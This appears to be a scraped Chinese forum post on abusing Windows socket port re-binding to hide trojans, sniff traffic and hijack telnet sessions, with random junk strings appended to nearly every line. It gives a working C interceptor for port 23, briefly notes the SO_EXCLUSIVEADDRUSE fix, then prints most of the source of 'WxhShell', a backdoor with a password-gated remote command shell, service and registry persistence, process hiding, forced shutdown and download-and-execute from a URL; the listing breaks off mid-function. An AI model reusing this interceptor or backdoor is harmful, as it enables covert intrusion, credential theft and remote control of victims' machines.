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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =lqGt.x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L;k9}HWpP  
uE{nnNZy  
  saddr.sin_family = AF_INET; vOYG&)Jm  
B*j AD2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2x&mJ}o#k  
vFGFFA/K}N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'Ijjk`d&c  
!&OybjQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c_^-`7g  
Y;WHjW(K  
  这意味着什么?意味着可以进行如下的攻击: O(oGRK<xM  
QC*> qo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q!+m, !M  
t9B]V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U.HeIJ#  
! FVXNl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AT4G]pT  
mOvwdRKn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RtVG6'Y  
hZ@Wl6FG;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Fi^Q]9.@{  
@.Pe.\Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -Am ~CM  
S+EC!;@Xg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -h<Rby  
SMdQ,n1]  
  #include wx|eO[14  
  #include b:uMO N,H  
  #include _A%8oY S  
  #include    >O:j.(*!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @4N@cM0   
  int main() K)C9)J<  
  { %l7|+%M.{  
  WORD wVersionRequested; n/fMq,<8  
  DWORD ret; 1]uHaI(  
  WSADATA wsaData; _n;V iQMu  
  BOOL val; 3G7Qo  
  SOCKADDR_IN saddr; OK}+:Y  
  SOCKADDR_IN scaddr; Zn`vL52_  
  int err; HXTZ`'Rv  
  SOCKET s; W\?_o@d  
  SOCKET sc; b{o%`B*  
  int caddsize; ]"< ` ^  
  HANDLE mt; \Q+<G-Kb.  
  DWORD tid;   Gmi$Nl!~  
  wVersionRequested = MAKEWORD( 2, 2 ); oX9rpTi  
  err = WSAStartup( wVersionRequested, &wsaData ); <ZV !fn  
  if ( err != 0 ) { :3# t;  
  printf("error!WSAStartup failed!\n"); ;-1yG@KG  
  return -1; ,nELWzz%{  
  } v<z%\`y  
  saddr.sin_family = AF_INET; A9[ELD>p  
   x;cjl6Acm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $(ugnnJ*  
Jn_;  cN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gL+8fX2G6  
  saddr.sin_port = htons(23); \*0ow`|K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PKhH0O\_U  
  { a0oM KGW:  
  printf("error!socket failed!\n"); mG!Rh  
  return -1; (bk~,n_  
  } TrHz(no  
  val = TRUE; H *gF>1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G#&R/Tc5N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G:e 9}  
  { %hzl3>().  
  printf("error!setsockopt failed!\n"); x7=5 ;gf/X  
  return -1; rQ^$)%uP  
  } p}j$p'D.RI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n)(E 0h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4{d!}R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JR1/\F<}  
85<zl|ZD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OE(Z)|LF  
  { D<zgs2Ex  
  ret=GetLastError(); 3sf+ uoV  
  printf("error!bind failed!\n"); >900O4  
  return -1;  'mz _JM  
  } u:Q_XXT5  
  listen(s,2); S"iz fQ@  
  while(1) UGNFWZ c  
  { {]aB3  
  caddsize = sizeof(scaddr); &n.7~C]R  
  //接受连接请求 [WDtr8L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AKVll  
  if(sc!=INVALID_SOCKET) gu[3L  
  { h^h!OQKQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |RBgJkS;8  
  if(mt==NULL) .6yC' 3~;o  
  { #TLqo(/  
  printf("Thread Creat Failed!\n"); C< GS._V&  
  break; lZ5 lmsCU  
  } d`U{-?N>  
  } 7dXR/i\  
  CloseHandle(mt); y5L%_ {n  
  } ?3wEO>u  
  closesocket(s); URq{#,~CT  
  WSACleanup(); HY.?? 5MH  
  return 0; L=u>}?!,Fj  
  }   UC)-Fd  
  DWORD WINAPI ClientThread(LPVOID lpParam) T&Y?IE}  
  { 3_JxpQg  
  SOCKET ss = (SOCKET)lpParam; E"e<9  
  SOCKET sc; $= /.oh  
  unsigned char buf[4096]; Hf ]aA_:   
  SOCKADDR_IN saddr; $0C1';=^}  
  long num; []D@"Bz  
  DWORD val; $okGqu8z.O  
  DWORD ret; "=0#pH1o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y4Hi<JWo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n%lY7.z8d  
  saddr.sin_family = AF_INET; _u$X.5Q;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); io_4d2uBh  
  saddr.sin_port = htons(23); _q >>]{5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cf'O*RFD  
  { =FkU: q$  
  printf("error!socket failed!\n"); je6H}eWTC6  
  return -1; v Dgf}  
  } :^+ aJ]  
  val = 100; K8{Ub  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F2yc&mXyk  
  { |kL^k{=zV  
  ret = GetLastError(); sGjYL>*  
  return -1; +@wa?"  
  } H@$\SUc{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iX8& mUR  
  { ,}i`1E1=  
  ret = GetLastError(); Z }(,OZh  
  return -1; Z!Njfq5  
  } -AUdBG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {O-,JCq/  
  { aZGX`;3  
  printf("error!socket connect failed!\n"); \8%64ZL`  
  closesocket(sc); zfDx c3e  
  closesocket(ss); J>(I"K%  
  return -1; <S'5`-&  
  } EGYYSoBLU  
  while(1) {FO>^~>l  
  { 6$TE-l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xWX1P%`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  l`x;Og>a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nmlQ-V-  
  num = recv(ss,buf,4096,0); : [o0Va2 d  
  if(num>0) k23*F0Dv  
  send(sc,buf,num,0); Vk/CV2  
  else if(num==0) mAkR<\?iTF  
  break; *Z*4L|zT  
  num = recv(sc,buf,4096,0); d5gYJ/Qv  
  if(num>0) ?ic7M  
  send(ss,buf,num,0); ^J3\ U{B  
  else if(num==0) (,~gY=E+  
  break; LFHV~>d  
  } ek~bXy{O`  
  closesocket(ss); XJl2_#  
  closesocket(sc); *rPUVhD_  
  return 0 ; 5a1)`2V2M  
  } uc@f#(-  
CN6@g^)P  
:*V1jp+  
========================================================== ^;0.P)yGA  
3dG[dYj  
下边附上一个代码,,WXhSHELL ^a~^$PUqI  
~W'>L++  
========================================================== wehZ7eqm  
uop|8n1  
#include "stdafx.h" f5jxF"oGNo  
Q70LQCms  
#include <stdio.h> /P bN!r<1  
#include <string.h> iOI8'`mk  
#include <windows.h> m\~{l=jIS  
#include <winsock2.h> ,"!t[4p=f  
#include <winsvc.h> eC:?j`H -  
#include <urlmon.h> FBpf_=(_1  
Nq|b$S[4  
#pragma comment (lib, "Ws2_32.lib") 6T>e~<^  
#pragma comment (lib, "urlmon.lib") z mvF#o  
PzThVeJ+  
#define MAX_USER   100 // 最大客户端连接数 )h-Qi#{  
#define BUF_SOCK   200 // sock buffer N:Yjz^Jt  
#define KEY_BUFF   255 // 输入 buffer {e4`D1B  
:4]^PB@dl  
#define REBOOT     0   // 重启 8 ;oU{  
#define SHUTDOWN   1   // 关机 zmk#gk2H  
sFaboI  
#define DEF_PORT   5000 // 监听端口 <%fcs"Mb  
4J3cQ;z  
#define REG_LEN     16   // 注册表键长度 X_Vj&{  
#define SVC_LEN     80   // NT服务名长度 W%@L7xh  
^nn3;  
// 从dll定义API 1Ao YG_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,TY&N-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B.nq3;Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ UN`~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AZ~= ]1  
]Z?$ 5Ks  
// wxhshell配置信息 ~3bn?'`  
struct WSCFG { Jsf -t  
  int ws_port;         // 监听端口 :e1BQj`R  
  char ws_passstr[REG_LEN]; // 口令 $CXKeWS=Q.  
  int ws_autoins;       // 安装标记, 1=yes 0=no uY+N163i  
  char ws_regname[REG_LEN]; // 注册表键名 NMYkEz(&R  
  char ws_svcname[REG_LEN]; // 服务名 P+r -t8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N<V,5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y <;A989D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8w &A89  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6|*em4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gZQ,br*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T\\Q!pY  
r:u,  
}; tkr RdCq  
'(M8D5?N-  
// default Wxhshell configuration / 0Z_$Q&e  
struct WSCFG wscfg={DEF_PORT, bM`7>3 d7E  
    "xuhuanlingzhe", |,k,X}gP  
    1, z.itVQs$I  
    "Wxhshell", qE73M5L&  
    "Wxhshell", sr(f9Vl  
            "WxhShell Service", 0^htwec!  
    "Wrsky Windows CmdShell Service", /(-X[[V  
    "Please Input Your Password: ", qI,4 uGg  
  1, }{<@wE%s  
  "http://www.wrsky.com/wxhshell.exe", V<f76U)  
  "Wxhshell.exe" KCG-&p$v@s  
    }; nJH+P!AC  
k[3J5 4`g1  
// 消息定义模块 f(Jz*el S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z?V'1L1gM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \yeo-uN8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1RC(T{\x  
char *msg_ws_ext="\n\rExit."; /lBx}o'  
char *msg_ws_end="\n\rQuit."; > D:( HWL  
char *msg_ws_boot="\n\rReboot..."; GY9CU=-  
char *msg_ws_poff="\n\rShutdown...";  A i`  
char *msg_ws_down="\n\rSave to "; PfKIaW<  
=#qf0  
char *msg_ws_err="\n\rErr!"; Vm NCknG  
char *msg_ws_ok="\n\rOK!"; ?`%7Y~  
>*v!2=  
char ExeFile[MAX_PATH]; IN2FO/Y@  
int nUser = 0; ZujPk-  
HANDLE handles[MAX_USER]; P)h e3  
int OsIsNt; C FqteY"  
 )L}6to  
SERVICE_STATUS       serviceStatus; 9Tbi_6[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F)x^AJi e  
<0!/7*;#ZT  
// 函数声明 ]<\Ft H  
int Install(void); 8:V:^`KaSs  
int Uninstall(void); >gNVL (  
int DownloadFile(char *sURL, SOCKET wsh); `4V_I%lJ&  
int Boot(int flag); $ K>.|\  
void HideProc(void); y#-mj,e  
int GetOsVer(void); OmO/x  
int Wxhshell(SOCKET wsl); 9Yg=4>#$  
void TalkWithClient(void *cs); 3=( Gb  
int CmdShell(SOCKET sock); (gd+-o4  
int StartFromService(void); FF]xwptrx  
int StartWxhshell(LPSTR lpCmdLine); 6J3:[7k=&  
1^<R2x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FSnF>3kj-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Dsz9  f  
@SA:64 9  
// 数据结构和表定义 uZ}=x3B  
SERVICE_TABLE_ENTRY DispatchTable[] = u*#j;Xc  
{ s>8;At-  
{wscfg.ws_svcname, NTServiceMain}, =?Y%w%2  
{NULL, NULL} CT1)tRN  
}; fhCMbq4T  
a`XXz  
// 自我安装 ^ ,`;x  
int Install(void) tz{W69k+  
{ 24u;'i-y5  
  char svExeFile[MAX_PATH]; v[efM8  
  HKEY key; 0"q^`@sZ  
  strcpy(svExeFile,ExeFile); $ekJs/I&  
qi!Nv$e  
// 如果是win9x系统,修改注册表设为自启动  [o]^\a y  
if(!OsIsNt) { *m_B#~4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o/uA_19  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nSWW^ ;  
  RegCloseKey(key); vMBF7Jfx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @k_xA-a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1_}* aQ  
  RegCloseKey(key); *$uj)*5,  
  return 0; +k=BD s  
    } rVU::C+-  
  } wBr$3:  
}  iC]=S}  
else { FGzMbi<l#(  
BJzNh>-#=  
// 如果是NT以上系统,安装为系统服务 e))fbv&V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3 K Y-+ k  
if (schSCManager!=0) .<Y7,9;YEF  
{ 1k&**!S]%  
  SC_HANDLE schService = CreateService qcYF&  
  ( y%* hHnGd  
  schSCManager, YKF5|;}  
  wscfg.ws_svcname, H=2sT+Sp  
  wscfg.ws_svcdisp, gJYB)LjH"  
  SERVICE_ALL_ACCESS, ;9w: %c1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UA@(D  
  SERVICE_AUTO_START, 3<:(Eda}  
  SERVICE_ERROR_NORMAL, wvH=4TT=w"  
  svExeFile, nt$V H  
  NULL, m0I/X$-Cl5  
  NULL, \4;}S&`k  
  NULL, G$b*N4yR  
  NULL, TiiMX  
  NULL ?f{{{0$S  
  ); tYE\tbCO'  
  if (schService!=0) RRGo$  
  { ,Jqi J?,4C  
  CloseServiceHandle(schService); M<'AM4  
  CloseServiceHandle(schSCManager); yb)!jLnH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tqdw y.  
  strcat(svExeFile,wscfg.ws_svcname); ]w2nVC 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S.,om;`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Fmp"[q  
  RegCloseKey(key); 5[^pU$Y  
  return 0;  \*5`@>_  
    } v[S>   
  } Tk(ciwB  
  CloseServiceHandle(schSCManager); ,{{e'S9cy  
} :u}FF"j  
} qo2/?]  
/%W&zd=%#  
return 1; >lZ9Y{Y4v  
} xWNB/{F  
\>}G|yL  
// 自我卸载 TL%2?'G  
int Uninstall(void) ?!PpooYK  
{ {<\[gm\X  
  HKEY key; [ArPoJt  
)?@X{AN&  
if(!OsIsNt) { /5@4}m>Z@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Taequk  
  RegDeleteValue(key,wscfg.ws_regname); !3Xu#^Xxj  
  RegCloseKey(key); ,yZvT7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xx^7  
  RegDeleteValue(key,wscfg.ws_regname); Z_Tu* F  
  RegCloseKey(key); 0(+3w\_!  
  return 0; XYeuYLut  
  } Aqi9@BH  
} ~_XJ v  
} Q]9g  
else { x3dP`<   
9?4EM^ -  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Fu@2gd  
if (schSCManager!=0) V\C$/8v  
{ Y!M&8;>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e!+_U C  
  if (schService!=0) 6rBXC <Z  
  { $kc*~V~   
  if(DeleteService(schService)!=0) { okl*pA)  
  CloseServiceHandle(schService); B?;!j)FUtt  
  CloseServiceHandle(schSCManager); b:OQ/  
  return 0; n2<#]2h  
  } gpo+-NnG  
  CloseServiceHandle(schService); Ebmd[A&&  
  } (QARle(i  
  CloseServiceHandle(schSCManager); e;Iz K]kP  
} XMt5o&U1  
}  3+[R !  
W<W5ih,#  
return 1; #x) lN  
} =#tQhg,_  
w 0V=49  
// 从指定url下载文件 y$J M=f$  
int DownloadFile(char *sURL, SOCKET wsh) W$E!}~Ro  
{ I-=H;6w7  
  HRESULT hr; c:%ll&Xtn  
char seps[]= "/"; }p2YRTHx  
char *token; 6Dx^$=Sa$  
char *file; =3~u.iq$  
char myURL[MAX_PATH]; :cx}I  
char myFILE[MAX_PATH]; @Yv+L)  
*3,Kn}ik  
strcpy(myURL,sURL); +:JyXF u  
  token=strtok(myURL,seps); g\Ck!KJ/y  
  while(token!=NULL) -+#QZ7b  
  { Vh%=JL sK  
    file=token; :$=r^LSH  
  token=strtok(NULL,seps);  4[\[Ho  
  } WfnBWSA2 T  
5*Wo/%#q  
GetCurrentDirectory(MAX_PATH,myFILE); dnZA+Pa  
strcat(myFILE, "\\"); y.pwj~s  
strcat(myFILE, file); ]<9KX} B  
  send(wsh,myFILE,strlen(myFILE),0); (T0%oina  
send(wsh,"...",3,0); Wmm'j&hI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w=ZSyT-i  
  if(hr==S_OK) Q db~I#}m'  
return 0; GS!7HphR  
else ?b}d"QsmU  
return 1; zcn> 4E)  
=TTk5(m  
} 7RH1,k  
)Ha`>  
// 系统电源模块 "4 Lt:o4x  
int Boot(int flag) Qxw?D4/Y  
{ 5)IJ|"]y  
  HANDLE hToken; y;M}I8W[  
  TOKEN_PRIVILEGES tkp; X4- _l$j  
XOk0_[  
  if(OsIsNt) { Oa8lrP`(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?pWbL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BqF%2{  
    tkp.PrivilegeCount = 1; BtPUUy.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7q%<JZPY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !uoQLiH+  
if(flag==REBOOT) { zvzS$Gpe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .V4w+:i  
  return 0; XN*?<s3  
} f&z@J,_=  
else { 6}Iu~| 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .Mn+Bd4f  
  return 0; eM3-S=R?<g  
} fj/sN HU  
  } Myal3UF  
  else { +{qX,  
if(flag==REBOOT) { Q9Y$x{R&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7K*\F}2)q  
  return 0; , W w\C  
} VE <p,IO  
else { X^2Txm d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E3p3DM0F$  
  return 0; u]D>O$_ s  
} Sqc r -  
} ,-4SVj8$P  
S:\a&+og  
return 1; k|O?qE1hP  
} pl-2O $  
U c6]]Bbc  
// win9x进程隐藏模块 5tSR2gG#K,  
void HideProc(void) _tl,-}~  
{ }I1A4=d  
"0,d)L0,"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >z(AQ  
  if ( hKernel != NULL ) )yHJc$OlMx  
  { #/UlW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); APfDy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); # 1S*}Q<k  
    FreeLibrary(hKernel); DE0gd ux8  
  } xh7[{n[;  
NI@$"   
return; >.tP7=  
} Ps0 g  
FN25,Q8:*I  
// 获取操作系统版本 P 57{  
int GetOsVer(void) C4#EN}  
{ JTK0#+?  
  OSVERSIONINFO winfo; #[4MwM3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YTQom!O  
  GetVersionEx(&winfo); &8l4A=l$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mp8FYPjZ  
  return 1; #6jdv|fu  
  else r_5k$u(  
  return 0; 6I)1[tU  
} X_j=u1*5  
3eqVY0q  
// 客户端句柄模块 >N&C-6W  
int Wxhshell(SOCKET wsl) QGWfF,q  
{ oAMB}a;  
  SOCKET wsh; \Mujx3Fmvx  
  struct sockaddr_in client; <@Lw '  
  DWORD myID; (>E}{{>2r  
Ap{2*o  
  while(nUser<MAX_USER) .g|D  
{ \:ELO[(#|{  
  int nSize=sizeof(client); 'CrBxaA]s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &$'=SL(Z  
  if(wsh==INVALID_SOCKET) return 1; LC!ZeW35  
x vi&d1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C*S%aR  
if(handles[nUser]==0) YivWvV  
  closesocket(wsh); Ar+<n 2;[  
else ]>K02SVT:  
  nUser++; nA!Xb'y&  
  } ) <lpI';T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dHcGe{T^(  
+<^TyIJ0  
  return 0; ][ ,NNXrc&  
} :s Mc}k?9S  
zF& >1y.$  
// 关闭 socket cY}Nr#%s@U  
void CloseIt(SOCKET wsh) q ;@:,^  
{ k 5<[N2D|!  
closesocket(wsh); #4WA2EW  
nUser--; :%#(<@{  
ExitThread(0); \~1>%F'op  
} CoZXbTq  
<2\4eusk  
// 客户端请求句柄 LPg1G+e  
void TalkWithClient(void *cs) @Ju!|G9z/p  
{ m&'z|eN  
^'g1? F$_  
  SOCKET wsh=(SOCKET)cs; QQd%V#M?  
  char pwd[SVC_LEN]; *@M7J  
  char cmd[KEY_BUFF]; SqiLp!Y`  
char chr[1]; /1Xji 0LK  
int i,j; L @b8,  
91Cg   
  while (nUser < MAX_USER) { qU'O4TWZ  
|_Y[93 1<  
if(wscfg.ws_passstr) { &"90pBGK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W6Os|z9&|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G8JwY\  
  //ZeroMemory(pwd,KEY_BUFF); HxC_n h  
      i=0; Vd8BQB,Q  
  while(i<SVC_LEN) { .ZK|%VGW  
G 4jaHpPi  
  // 设置超时 B!Ss 35<  
  fd_set FdRead; ;'\{T#5)  
  struct timeval TimeOut; x*)@:W!  
  FD_ZERO(&FdRead); =5JTVF  
  FD_SET(wsh,&FdRead); +sTZ) 5vQ  
  TimeOut.tv_sec=8; nly`\0C  
  TimeOut.tv_usec=0; u6~|].j R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x?ajTzMv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .K`^n\T t  
'qosw:P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G(alM=q  
  pwd=chr[0]; 9w-V +Nf  
  if(chr[0]==0xd || chr[0]==0xa) { ;2m<#~@0  
  pwd=0; 0A~zu K  
  break; . Q#X'j  
  } </K"\EU  
  i++; LnN6{z{M  
    } %hYol89F  
HiBw==vlV  
  // 如果是非法用户,关闭 socket KcGM=z?:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +["t@Q4IQ  
} &{s`=IeN  
N XwQvm;q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GC{)3)_ t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 ]v:Ix  
erG;M!9\  
while(1) { 0G(T'Z1  
);LkEXC_'  
  ZeroMemory(cmd,KEY_BUFF); {9 >jWNx  
@K 8sNPK  
      // 自动支持客户端 telnet标准   @wWro?s'p  
  j=0; J!Kk7 !^|  
  while(j<KEY_BUFF) { Y.O/~af  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [!@&t:A  
  cmd[j]=chr[0]; zc QFIP  
  if(chr[0]==0xa || chr[0]==0xd) { `-l, `7e'  
  cmd[j]=0; q@;z((45  
  break; ''9FB5  
  } +4kBd<0Y  
  j++; ~W q[H  
    } J?ljq A}i  
*siN#,5  
  // 下载文件 LL~bq(b  
  if(strstr(cmd,"http://")) { r?e)2l~C8j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a@&^t(1  
  if(DownloadFile(cmd,wsh)) * /S=9n0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,0^:q)_  
  else Td&w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]He]FW':G  
  } R@=Bk(h  
  else { XYbc1+C  
_)q,:g~fu  
    switch(cmd[0]) { d7xd"  
  1D /{Y  
  // 帮助 +U(m b  
  case '?': { O -a`A.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kt,ENbF  
    break; e]\{ Ia  
  } aqTMOWyeu  
  // 安装 \Rc7$bS2H  
  case 'i': { VP4W~;UV|\  
    if(Install()) hWGCYkuW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,UFr??ZKm  
    else ^L&hwXAO:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bc {#ia  
    break; ?#F}mOVAa  
    } %N!2 _uk5  
  // 卸载 wo;`D  
  case 'r': { `TBI{q[y  
    if(Uninstall()) d%$'Y|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'NQt?h  
    else Sm2 |I6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nl_Sgyx,\  
    break; ,B>Rc#  
    } ;>o}/h  
  // 显示 wxhshell 所在路径 b 469  
  case 'p': { V$Y5EX  
    char svExeFile[MAX_PATH]; \-mz[ <ep  
    strcpy(svExeFile,"\n\r"); ,:!X]F#d$  
      strcat(svExeFile,ExeFile); kcd~`+C  
        send(wsh,svExeFile,strlen(svExeFile),0); pZR KM<k  
    break; $ctY#:;pV{  
    } VWoxi$3v  
  // 重启 I|=$.i  
  case 'b': { x\vb@!BZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LPgP;%ohO/  
    if(Boot(REBOOT)) Lh~Ym<CeN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ #Gu:  
    else { xF*C0B;QL  
    closesocket(wsh); $=8?@My<  
    ExitThread(0); ?`Oh]2n)6  
    } jI$}\*g  
    break; RVmD&  
    } eATX8`W  
  // 关机 75`*aAZ3  
  case 'd': { g)+45w*+5  
